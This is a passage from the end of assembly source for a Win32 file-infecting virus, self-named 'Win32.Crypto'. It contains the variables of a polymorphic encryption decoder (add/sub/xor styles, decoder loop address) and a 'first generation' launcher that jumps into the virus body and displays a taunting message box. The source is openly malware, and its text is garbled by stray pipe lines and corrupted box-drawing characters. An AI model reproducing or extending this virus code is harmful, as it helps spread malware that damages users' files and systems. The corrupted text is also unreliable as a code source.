code_reg db 00h ;code_reg in base-reg
|
|||
|
|
|||
|
code_value dd 00000000h ;startup code value
|
|||
|
code_value_add dd 00000000h ;next_code = code + this_c
|
|||
|
crypt_style db 00h ;(0=add/1=sub/2=xor) [---],reg32
|
|||
|
|
|||
|
decoder_back dd 00000000h ;address for JNZ loop
|
|||
|
compare_index db 00h ;where in <compare_buffer>
|
|||
|
compare_buffer dd 5 dup(00000000h) ;see <g_compare> for more info
|
|||
|
|
|||
|
mem_end:
|
|||
|
|
|||
|
;<3B><>Ĵ first generation <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
first_generation:
|
|||
|
|
|||
|
; after installing, run it above
|
|||
|
mov [__pllg_lsize],00000000h
|
|||
|
mov dword ptr [original_ep], \
|
|||
|
offset __fg_run_this - offset virus_start + 1000h
|
|||
|
jmp virus_start
|
|||
|
|
|||
|
__fg_run_this:
|
|||
|
; display a simple message box
|
|||
|
push MB_OK
|
|||
|
@pushsz "Win32.Crypto - welcome to my world..."
|
|||
|
@pushsz "First generation sample"
|
|||
|
push 0
|
|||
|
call MessageBoxA
|
|||
|
|
|||
|
; exit program - haha huahaha <program> :))
|
|||
|
push 0
|
|||
|
call ExitProcess
|
|||
|
|
|||
|
;<3B><>Ĵ end of virus <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
end first_generation
|